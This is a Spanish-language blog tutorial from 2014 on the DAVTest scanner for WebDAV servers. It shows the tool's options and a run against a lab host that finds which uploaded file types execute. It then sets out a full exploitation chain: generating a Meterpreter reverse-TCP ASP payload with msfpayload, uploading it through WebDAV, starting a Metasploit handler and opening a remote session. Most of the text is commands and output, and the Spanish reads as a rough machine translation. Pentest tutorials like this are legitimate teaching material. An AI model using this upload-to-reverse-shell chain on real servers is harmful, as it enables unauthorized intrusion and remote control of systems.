jueves, 15 de mayo de 2014

Tutorial de davtest scaner


En un WebDAV habilitado,(protocolo que proporciona funcionalidades para crear, cambiar y mover documentos en un servidor remoto) , hay dos cosas por descubrir rápidamente:

1- Si se puede subir archivos,
2- En caso afirmativo, si se puede ejecutar código

Davtest ayuda a responder a estas preguntas intentando cargar la extensión del archivo de prueba de diferentes tipos (por ejemplo, "Php" o ". Txt"), comprueba si estos archivos han sido enviados y luego se puede ejecutar en el servidor.
También le permite subir archivos de texto sin formato y luego intenta utilizar el comando MOVE para cambiar su nombre en un formato ejecutable.
Suponiendo que usted puede cargar un archivo ejecutable, un archivo de prueba no es bueno para el servidor, entonces DAVTest puede descargar automáticamente un shell completamente funcional. Viene con scripts para PHP, ASP, ASPX, CFM, JSP, CGI, PL, y un archivo que se puede probar en un directorio determinado o dejar subir cualquier backdoor que desee.

DAVTest soporta:


Enviar automáticamente los archivos de exploits
Aleatorización automática de directorio para ayudar a ocultar archivos
Enviar archivos de texto y tratar de MOVE para el nombre del ejecutable
Basic y Digest autorización
Automático de limpieza de los archivos subidos
Enviar un archivo arbitrario


Sintaxis


/usr/bin/davtest.pl -url <url> [OPTIONS]


Opciones


-auth+ autorización (usuario: contraseña).Envíe este nombre de usuario / contraseña para Basic o autorización implícita.
-cleanup borrar todo cargado cuando se hace. Elimina todos los archivos puestos con éxito en el servidor antes de salir
-directory+ sufijo parte del directorio a crear.La parte estática del nombre del directorio que se utilizará cuando se ejecuta MKCOL (en lugar del nombre completo al azar)
-debug+ DAV nivel 1-3 (2 + 3 log req / resp a / tmp / perldav_debug.txt) Activar HTTP: Depuración de DAV, que registra en / tmp / perldav_debug.txt).
-move PUT archivos de texto a continuación, pasar al ejecutable. El intento de poner los archivos con extensión txt y luego pasar cuestión de cambiarlo a un nombre de archivo ejecutable.
-nocreate no crea un directorio
-quiet resumen de impresión única antes de salir
-rand+ usar esto en vez de una cadena aleatoria para nombres de archivo
-sendbd+ puertas traseras de envío:
auto - envía un backdoor apropiado para cualquier ejecutable que se realizó correctamente
ext - (por ejemplo, "php") para que coincida con los archivos en el "backdoors /" directorio. No incluya el punto inicial para la extensión.
-uploadfile+ cargar este archivo (requiere-uploadloc)
-uploadloc+ carga de archivos a esta ubicación / nombre (requiere-uploadfile)
-url+ esta es la dirección URL de la ubicación DAV.


Ejemplo


/usr/bin/davtest.pl-url http://localhost/davdir

Prueba de funcionamiento contra la caja laboratorio:

lab @ localhost:. davtest-1.0 # / davtest.pl-url-directory http://192.168.1.4 demo_dir-rand rAnD0M5Tr1nG_upfileP0C-cleanup
************************************************** ******
Prueba de conexión DAV
ABRIR ÉXITO: ​​http://192.168.1.4
************************************************** ******
NOTA cadena aleatoria para esta sesión: rAnD0M5Tr1nG_upfileP0C
************************************************** ******
Creación del directorio
MKCOL ÉXITO: ​​Creado http://192.168.1.4/demo_dir
************************************************** ******
Envío de archivos de prueba
PUT php ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT asp ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT html ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT shtml FALLO
PONER A PRUEBA cgi
PUT txt ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PONER A PRUEBA aspx
PUT pcm ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT jsp ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT pl FALLO
PUT JHTML ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
************************************************** ******
Comprobación de la ejecución de la prueba de archivos
EXEC php FALLO

EXEC asp ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
EXEC html ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
EXEC txt ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
EXEC pcm FALLO
EXEC jsp FALLO
EXEC JHTML FALLO
************************************************** ******
Limpiar
BORRAR ÉXITO: ​​http://192.168.1.4/demo_dir
************************************************** ******
. / Davtest.pl Resumen:
Creado: http://192.168.1.4/demo_dir
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp

PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp

Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
Visto: http://192.168.1.4/demo_dir


Como se muestra arriba, vemos que podemos subir php, asp, html, txt, cfm, tipos de archivos JSP y JHTML. Sin embargo, de estos, sólo podemos ejecutar, asp, html y txt.

Esta davtest resumen puede ser una evidencia suficiente para esta vulnerabilidad. En un pentest, sin embargo, puede haber un escenario donde se enfrentan el host de destino está todo bajo llave y sólo un servidor Web se ejecuta en 80/tcp. Entonces, aprovechar esta vulnerabilidad se vuelve significativa y tendremos que ir más allá de esta davtest resumen.

Entonces, ¿qué podemos hacer desde aquí? La tarea obvia es subir un mecanismo de control del servidor de destino. Es decir, subir una cáscara web por ejemplo una cáscara asp vía PUT, a continuación, sólo tiene que llamar y jugar con el servidor.

Podemos generar una carga útil de shell mediante msfpayload.

$ msfpayload windows / meterpreter / reverse_tcp lhost = 192.168.1.1 LPORT = 443 R | msfencode asp-t-o aspmetrev443t.asp

continuación, utilice davtest.pl para subirlo.

/usr/bin/davtest.pl-url-directory http://192.168.1.4 demo_dir-uploadfile aspmetrev443t.asp-uploadloc demo_dir

Exito: http://192.168.1.4/demo_dir/aspmetrev443t.asp

Antes de acceder a esta URL, asegúrese de empezar manejador metasploit multiselector para escuchar las conexiones entrantes de esta carga útil meterpreter shell inversa.

msf-pro>
msf-pro> exploit uso / multi / handler
msf exploit (manejador)> set payload windows / meterpreter / reverse_tcp

msf exploit (manejador)> set lhost 192.168.1.1
msf exploit (manejador)> set LPORT 443
msf exploit (manejador)> exploit

[*] Started inversa controlador en 192.168.1.1:443
[*] A partir del controlador de carga útil ...


Con todo listo ahora, vaya a su aspmetrev443t.asp shell.

[*] Started inversa controlador en 192.168.1.1:443
[*] A partir del controlador de carga útil ...
[*] Envío etapa (748032 bytes) a 192.168.1.4
[*] Periodo de sesiones Meterpreter 1 abierto (192.168.1.4:443 -> 192.168.1.1:56031) 


No hay comentarios:

Publicar un comentario